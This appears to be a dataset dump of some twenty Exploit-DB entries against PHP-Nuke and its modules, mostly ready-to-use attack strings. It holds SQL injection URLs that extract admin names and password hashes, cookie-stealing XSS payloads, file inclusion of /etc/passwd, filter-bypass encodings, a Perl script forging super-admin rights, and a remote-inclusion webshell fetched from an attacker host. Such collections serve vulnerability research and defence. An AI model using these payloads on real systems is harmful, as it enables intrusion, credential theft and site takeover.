deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11732
Description: PHP-Nuke - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-14
Author: ITSecTeam

Exploit:
=======================================================================================
Topic : Php-Nuke
Bug type : Local File Include Vulnerability
Author : ItSecTeam
Remote : Yes
Status : Bug
===================== Content ======================
( # Advisory Content : Php-Nuke Lastest Version
( # Mail : Bug@ItSecTeam.com
( # Dork : Php-Nuke Lastest Version
( # We Are : M3hr@n.S , 0xd41684c654 And All Team Members!
( # Website : WwW.ItSecTeam.com<http://www.itsecteam.com/>
( # Forum : WwW.Forum.ItSecTeam.com<http://www.itsecteam.com/>
( # Find By : Amin Shokohi(Pejvak!)
=================================================
============================================= Exploit =======================================
( * http://Site.cOm/PHP-Nuke/modules.php?view=0&name=Folder Name&file=File Name
( Ex : http://Site.cOm/PHP-Nuke/modules.php?view=0&name=Content/admin&file=panel
==========================================================================================
Exploit-DB #11788
Description: PHP-Nuke - ratedownload SQL Injection
Type: webapps
Platform: php
Date: 2010-03-17
Author: ITSecTeam

Exploit:
===========================================================================
( #Topic    : PHP-Nuke All Version
( #Bug type : SQL Injection
( #Download : http://phpnuke.org/modules.php?name=Downloads
( #Advisory : http://itsecteam.com/fa/vulnerabilities/vulnerability21.htm
===========================================================================
( #Author : ItSecTeam
( #Email  : Bug@ITSecTeam.com #
( #Website: http://www.itsecteam.com #
( #Forum  : http://forum.ITSecTeam.com #
( #Thanks : Amin Shokohi(Pejvak!) , M3hr@n.S , 0xd41684c654 And All Team

Exploit ===================================================================
( *
http://[site]/PHP-Nuke/modules.php?view=0&name=downloads&file=index&d_op=ratedownload&lid=
SQL Injection Code
---------------------------------------------------------------------------
<BUG>
  function ratedownload($lid, $user) {
    global $prefix, $cookie, $datetime, $module_name, $user_prefix;
    include("header.php");
    menu(1);
    $row = $db->sql_fetchrow($db->sql_query("SELECT title FROM
".$prefix."_downloads_downloads WHERE lid='**BUG**$lid'**BUG**"));
........}
</Bug>
----------------------------------------------------------------------------
This Bug Works when Register_Globals=On
============================================================================
Exploit-DB #465
Description: PHP-Nuke - SQL Injection Edit/Save Messages
Type: webapps
Platform: php
Date: 2004-09-16
Author: iko94

Exploit:
#!/usr/bin/perl
#

use LWP; 

$log = "pos_komen_phpnuke_savemsg.txt"; 
$Agent = "Mbahmubangga/1.0";
$proxy = "http://172.9.1.11:80/"; # proxy:port ...
$browser = LWP::UserAgent->new;
$browser -> agent($Agent);

$url = 'http://www.sitewithphpnuke.com/admin.php';

$browser->proxy(http => $proxy) if defined($proxy);

printlog ("\nProcessing: $url\n");

for ($a = 1; $a < 11 ; $a++) {

$mid=$a;

$loginpost = $url;
$loginrequest = HTTP::Request->new(POST => $loginpost);
$loginrequest->content_type('application/x-www-form-urlencoded');
$loginsend = 
'title=<h1>JUST TESTING</h1>'.
'&content=you can put HTML format here, all up to you now, 1 liner of course,
or multiple liner with dot'.
'&mlanguage='. #message language
'&expire=0'. #unlimited
'&active=1'. #yes
'&chng_date=0'.
'&view=1'. #all visitors
'&mdate='.
'&mid='.$mid. #the message id, commonly has value under 11
'&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox'. #our magic ammo ==> x'%20UNION%20SELECT%201/*:1
'&add_radminsuper=1'. #the super user / G O D
'&op=savemsg'; #operation
$loginrequest->content-length($loginsend);
$loginrequest->content($loginsend);
$loginresponse = $browser->request($loginrequest);
$logincek = $loginresponse->as_string;
#print ($logincek);


if ($logincek =~ /(500 Can\'t read entity body\: Unknown error)|(411 Length Required)/){
printlog ("$mid attempting edit and saving message sending OK ".$loginresponse-
>status_line ."\n") ;
}
else {
printlog ("Could be failure ".$loginresponse->status_line ."\n");
last;
}

} #end of for

sub printlog {
print @_[0]; 
open(lo,">>$log");
print lo @_[0];
close(lo);
return;
}

# milw0rm.com [2004-09-16]
Exploit-DB #24349
Description: PHP-Nuke 0-7 - Delete God Admin Access Control Bypass
Type: webapps
Platform: php
Date: 2004-08-04
Author: Ahmad Muammar

Exploit:
source: https://www.securityfocus.com/bid/10861/info

PHP-Nuke is reported prone to an access control bypass vulnerability.

Reports indicate that a PHP-Nuke superuser may bypass access controls and privilege restrictions, to delete the PHP-Nuke "God Admin" account. This may be accomplished by making a specially crafted request for the "admin.php" script.

http://www.example.com/phpnuke/admin.php?op=deladmin2&del_aid=dudul

Where "dudul" is the name of the target "God Admin" account.
Exploit-DB #25635
Description: PHP-Nuke 0-7 - Double Hex Encoded Input Validation
Type: webapps
Platform: php
Date: 2005-05-09
Author: fistfuxxer@gmx.de

Exploit:
source: https://www.securityfocus.com/bid/13557/info

PHP Nuke is prone to an input validation vulnerability. Reports indicate the script fails to correctly identify potentially dangerous characters when the characters are double hex-encoded (i.e. %25%41 == %41 == A).

A remote attacker may exploit this issue to bypass PHP Nuke protections and exploit issues that exist in the underlying PHP Nuke installation. 

Will be filtered:
'modules.php?FistFucker=()'

Will be bypassed:
'modules.php?FistFucker=%2528%2529'


Will be filtered:
'/**/UNION/**/SELECT/**/'

Will be bypassed:
'/%2A%2A/UNION/%2A%2A/SELECT/%2A%2A/'
Exploit-DB #20158
Description: PHP-Nuke 1.0/2.5 - Administrative Privileges
Type: webapps
Platform: php
Date: 2000-08-21
Author: bruj0

Exploit:
source: https://www.securityfocus.com/bid/1592/info

PHP-Nuke is a website creation/maintainence tool written in PHP3. It is possible to elevate priviliges in this system from normal user to administrator due to a flaw in authentication code. The problem occurs here:

$aid = variable holding author name, [CREDENTIAL_REDACTED] password

$result=mysql_query("select pwd from authors where aid='$aid'");
if(!$result) {
echo "Selection from database failed!";
exit;
} else {
list($pass)=mysql_fetch_row($result);

if($pass == $pwd) {
$admintest = 1;
}
}

First off, the code checks to make sure the query passed to mysql_query is legal. There are no checks to see whether any rows are returned (whether any authors match $aid..). Then, the password given is compared to the result of the above query. If the author doesn't match, mysql_fetch_row returns FALSE. This is where the problem occurs. A NULL string is logically equal to FALSE and thus if an empty string is supplied as password, the condition tested for above (the if($pass == $pwd)) is met and admintest is set to 1 (TRUE). The user is then able to perform all administrative functions.

http://target/admin.php3?admin=any_data
Exploit-DB #20729
Description: PHP-Nuke 1.0/2.5/3.0/4.x - Remote Ad Banner URL Change
Type: webapps
Platform: php
Date: 2001-04-02
Author: Juan Diego

Exploit:
source: https://www.securityfocus.com/bid/2544/info

PHP-Nuke is a website creation/maintainence tool written in PHP3.

A PHP-Nuke feature supporting cycling ad banners is subject to interference from a remote user.

A querystring can be submitted to an unpatched server which allows the remote user to specify a new destination URL to be opened in a visitor's browser upon clicking a PHP-nuke site's ad banner.

By changing the click-through destination of a banner ad, an attacker could interfere with the target's ad-based revenue generation.

To change the url of the first banner you should enter in your browser

http://target/banners.php?op=Change&bid=bannerid&url=http://where.to

if we want to change the banner number 1 to redir to

www.you_are_redir

we write

http://www.example.com/banners.php?op=Change&bid=1&url=http://you.are.redir

(where www.example.com is the server running php-nuke)
Exploit-DB #21166
Description: PHP-Nuke 1.0/2.5/3.0/4.x/5.x/6.x/7.x - 'modules.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2001-12-03
Author: Cabezon AurÃ©lien

Exploit:
source: https://www.securityfocus.com/bid/3609/info
 
PHPNuke is a website creation/maintenance tool.
 
PHPNuke is prone to cross-site scripting attacks. It is possible to create a link to the PHPNuke user information page, 'user.php', which contains malicious script code. When the link is clicked by an unsuspecting web user, the malicious script code will be executed on the user in the context of the site running PHPNuke.
 
This attack may be used to steal a user's cookie-based authentication credentials for the vulnerable PHPNuke site.
 
PostNuke is also affected by a number of these issues.
 
This problem has also been reported with other scripts included in the PHPNuke package. More specifically, modules.php, upload.php, friend.php and submit.php are also vulnerable under some circumstances. Different parameters to the user.php script may also be sufficient for a cross-site scripting attack.
 
An additional cross-site scripting vulnerability has been reported in modules.php for PostNuke.
 
**It has been reported that the cross-site scripting issue affecting the 'ttitle' parameter of 'modules.php' script has been re-introduced in newer versions of the PHPNuke application. This issue is reported to affect versions 7.2 and prior. 

http://phpnukesite/modules.php?op=modload&name=Downloads&file=index&req=viewdownloaddetails&lid=2&ttitle=%3Cscript%3Ealert(document.location)%3C/script%3E
Exploit-DB #21165
Description: PHP-Nuke 1.0/2.5/3.0/4.x/5.x/6.x/7.x - 'user.php?uname' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2001-12-03
Author: Cabezon AurÃ©lien

Exploit:
source: https://www.securityfocus.com/bid/3609/info

PHPNuke is a website creation/maintenance tool.

PHPNuke is prone to cross-site scripting attacks. It is possible to create a link to the PHPNuke user information page, 'user.php', which contains malicious script code. When the link is clicked by an unsuspecting web user, the malicious script code will be executed on the user in the context of the site running PHPNuke.

This attack may be used to steal a user's cookie-based authentication credentials for the vulnerable PHPNuke site.

PostNuke is also affected by a number of these issues.

This problem has also been reported with other scripts included in the PHPNuke package. More specifically, modules.php, upload.php, friend.php and submit.php are also vulnerable under some circumstances. Different parameters to the user.php script may also be sufficient for a cross-site scripting attack.

An additional cross-site scripting vulnerability has been reported in modules.php for PostNuke.

**It has been reported that the cross-site scripting issue affecting the 'ttitle' parameter of 'modules.php' script has been re-introduced in newer versions of the PHPNuke application. This issue is reported to affect versions 7.2 and prior. 

http://phpnukesite/user.php?op=userinfo&uname=<script>alert(document.cookie);</script>
Exploit-DB #24232
Description: PHP-Nuke 1.0/2.5/3.0/4.x/5.x/6.x/7.x - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2004-06-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10595/info

PHP-Nuke is prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data and may allow an attacker to carry out cross-site scripting, HTML injection, and SQL injection attacks.

Although unconfirmed, all versions of PHP-Nuke are considered to be vulnerable at this point. This BID will be updated as more information becomes available.

http://www.example.com/nuke73/modules.php?name=Journal&file=friend&jid=2&yun=[xss code here]
http://www.example.com/nuke73/modules.php?name=Journal&file=friend&jid=2&ye=[xss code here]
http://www.example.com/nuke73/modules.php?name=Journal&file=add&filelist[]=[xss
code here]
http://www.example.com/nuke73/modules.php?name=Journal&file=modify&filelist[]=[xss
code here]
http://www.example.com/nuke73/modules.php?name=Journal&file=delete&jid=[xss
code here]&forwhat=waraxe
http://www.example.com/nuke73/modules.php?name=Journal&file=comment&onwhat=[xss
code here]
http://www.example.com/nuke73/modules.php?name=Journal&file=commentsave&rid=[xsscode here]

http://www.example.com/nuke73/modules.php?name=Journal&file=commentkill&onwhat=1
http://www.example.com/nuke73/modules.php?name=Journal&file=savenew&title=f00bar

http://www.example.com/nuke73/modules.php?name=Journal&file=search&bywhat=aid&exact=1
&forwhat=kala'/**/UNION/**/SELECT/**/0,0,pwd,0,0,0,0,0,0/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*
Exploit-DB #28388
Description: PHP-Nuke 2.0 AutoHTML Module - Local File Inclusion
Type: webapps
Platform: php
Date: 2006-08-15
Author: MosT3mR

Exploit:
source: https://www.securityfocus.com/bid/19525/info

PHP-Nuke AutoHTML Module is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit may allow an attacker to execute arbitrary local scripts within the context of the affected application.

http://www.example.com/autohtml.php?op=modload&name=../../../../etc/passwd
Exploit-DB #21230
Description: PHP-Nuke 4.x/5.x - Arbitrary File Inclusion
Type: webapps
Platform: php
Date: 2002-01-16
Author: Handle Nopman

Exploit:
source: https://www.securityfocus.com/bid/3889/info

PHPNuke is a website creation/maintenance tool.

The 'index.php' script has a feature which allows users to include files. Due to insufficent input validation, it is possible to include files located on a remote server. Arbitrary code in the attacker's included file may be executed.

As one consequence of this issue, a remote attacker can cause commands to be executed on the shell of the host running vulnerable versions of PHPNuke. Commands will be executed with the privileges of the webserver process and may result in the attacker gaining local access.

It is not known whether this vulnerability affects PostNuke, though the possibility exists. 

Create the following file on a remote server:

<?php
system($cmd);
?>

The following URL will include the malicious file and allow the attacker to execute the "la -la" command on the shell of the host running PHPNuke:

http://insecure-server/index.php?file=http://where.the.bad.php.file.is/evil.php&cmd=ls%20-al
Exploit-DB #21233
Description: PHP-Nuke 4.x/5.x - SQL_Debug Information Disclosure
Type: webapps
Platform: php
Date: 2002-01-18
Author: zataz.com

Exploit:
source: https://www.securityfocus.com/bid/3906/info

PHPNuke is a website creation/maintenance tool. It is can be back-ended by a number of database products such as MySQL, PostgreSQL, mSQL, Interbase, Sybase, etc.

The sql_layer.php script contains a debugging feature that may be used by attackers to disclose sensitive information about all SQL queries made by PHPNuke. Access to the debugging feature is not restricted to administrators.

This may be used by a remote attacker to disclose sensitive information about the database which may contribute to further attacks against the website running PHPNuke and the database.

It is not known whether PostNuke is also affected by this issue. 

The following URLs may be used to access the debugging features:

http://www.vulnerable-site.com/index.php?sql_debug=1

or

http://www.vulnerable-site.com/modules.php?name=Members_List&&sql_debug=1
Exploit-DB #31368
Description: PHP-Nuke 4nAlbum Module 0.92 - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-10
Author: meloulisi

Exploit:
source: https://www.securityfocus.com/bid/28162/info

The 4nAlbum module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?name=modload&name=4nAlbum&file=index&do=showpic&pid=-14+union+select+1,2,3,4,5,6,aid,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+nuke_authors
http://www.example.com/modules.php?name=modload&name=4nAlbum&file=index&do=showpic&pid=-14+union+select+1,2,3,4,5,6,pwd,8,9,10,11,12,13,14,15,16,17111,18,19,20,21+from+nuke_authors
http://www.example.com/modules.php?name=modload&name=4nAlbum&file=index&do=showpic&pid=-14+union+select+1,2,3,4,5,6,email,8,9,10,11,12,13,14,15,16,17111,18,19,20,21+from+nuke_authors
Exploit-DB #31351
Description: PHP-Nuke 4nChat Module 0.91 - 'roomid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-06
Author: meloulisi

Exploit:
source: https://www.securityfocus.com/bid/28128/info

The 4nChat module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/modules.php?name=modload&name=4nChat&file=index&roomid=-2+union+select+1,aid,3,4,5+from+nuke_authors
http://www.example.com/modules.php?name=modload&name=4nChat&file=index&roomid=-2+union+select+1,pwd,3,4,5+from+nuke_authors
http://www.example.com/modules.php?name=modload&name=4nChat&file=index&roomid=-2+union+select+1,email,3,4,5+from+nuke_authors
Exploit-DB #32015
Description: PHP-Nuke 4ndvddb 0.91 Module - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-07
Author: Lovebug

Exploit:
source: https://www.securityfocus.com/bid/30120/info

The '4ndvddb' module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects 4ndvddb 0.91; other versions may also be affected.

http://www.example.com/modules.php?name=4ndvddb&rop=show_dvd&id=1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C0,aid,pwd,3,4,5,6,7,8,9,10%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A
Exploit-DB #21038
Description: PHP-Nuke 5.0 - 'user.php' Form Element Substitution
Type: webapps
Platform: php
Date: 2001-07-27
Author: dinopio

Exploit:
source: https://www.securityfocus.com/bid/3107/info

PHP-Nuke is a website creation/maintenance tool written in PHP3.

If a malicious user may subtitute arbitrary values for image form elements in the PHP-Nuke User Registration Form by saving the webpage locally(as 'user.php.html') and altering the information. The new values may be set in such a way as to disclose arbitrary web-readable files to the attacker. 

http://www.target.com/../../../dir_on_server/anyfile.ext

It will load the file when the user info of the attacker is viewed.
Exploit-DB #12514
Description: PHP-Nuke 5.0 - Viewslink SQL Injection
Type: webapps
Platform: php
Date: 2010-05-05
Author: CMD

Exploit:
# Author: CMD
# Contact: cemede@ilkposta.com
# Dork: [allinurl: op=viewslink&sid=]
=-==-==-==-==-==-==-==C==M==D==-==-==-==-==-==-==-==-==-==-==-=

# Code :

[

Exploit 1: 
/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/*

           
/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*



Exploit 2: 
/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,aid/**/from/**/authors/**/where/**/radminsuper=1/*

        
/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,pwd/**/from/**/authors/**/where/**/radminsuper=1/*

]



=-==-==-==-==-==-==-==C==M==D==-==-==-==-==-==-==-==-==-==-==-=

# Example : 

[

Example 1 : 
http://www.target.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*

            
http://www.target.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/*



Example 2 : 
http://www.target.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,pwd/**/from/**/authors/**/where/**/radminsuper=1/*

            
http://www.target.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,aid/**/from/**/authors/**/where/**/radminsuper=1/*

]

=-==-==-==-==-==-==-==C==M==D==-==-==-==-==-==-==-==-==-==-==-=

#Thanx : AmeN & MUS4LLAT & Snaritx & JacKal & Metrp0l 
& Ve sayamad&#305;klar&#305;m

#Says : Hem&#351;o bak bug buldum xD
Exploit-DB #22347
Description: PHP-Nuke 5.5/6.0 AvantGo Module - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-03-12
Author: Rynho Zeros Web

Exploit:
source: https://www.securityfocus.com/bid/7078/info

The AvantGo module for PHPNuke has been reported prone to a vulnerability which, when exploited, may disclose sensitive path information to a remote attacker.

An attacker may use the information gathered in this manner to mount further attacks against the host.

This vulnerability was reported to affect the AvantGo module shipped with PHPNuke version 5.5 and 6.0 it has been suggested that other versions may also be affected.

http://www.example.com/modules.php?name=AvantGo&file=print&sid=
http://www.example.com/modules.php?name=AvantGo&file=print&sid=[Any_Text]
Exploit-DB #22348
Description: PHP-Nuke 5.5/6.0 News Module - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-03-12
Author: Rynho Zeros Web

Exploit:
source: https://www.securityfocus.com/bid/7079/info

The News module for PHPNuke has been reported prone to a vulnerability which, when exploited, may disclose sensitive path information to a remote attacker.

An attacker may use the information gathered in this manner to mount further attacks against the host.

This vulnerability was reported to affect the News module shipped with PHPNuke version 5.5 and 6.0 it has been suggested that other versions may also be affected.

http://www.example.com/modules.php?name=News&file=print&sid=
http://www.example.com/modules.php?name=News&file=print&sid=[Any_Text]
Exploit-DB #21977
Description: PHP-Nuke 5.6 - 'modules.php' SQL Injection
Type: webapps
Platform: php
Date: 2002-11-01
Author: kill9

Exploit:
source: https://www.securityfocus.com/bid/6088/info

A SQL injection vulnerability has been reported for PHP-Nuke 5.6.

The vulnerability is due to insufficient sanitization of variables used to construct SQL queries in some scripts. It is possible to modify the logic of SQL queries through malformed query strings in requests for the vulnerable script.

By injecting SQL code into variables, it may be possible for an attacker to corrupt database information. 

modules.php?name=Your_Account&op=saveuser&uid=2&bio=%5c&EditedMessage=
no&pass=xxxxx&vpass=xxxxx&newsletter=,+bio=0,+pass=md5(1)/*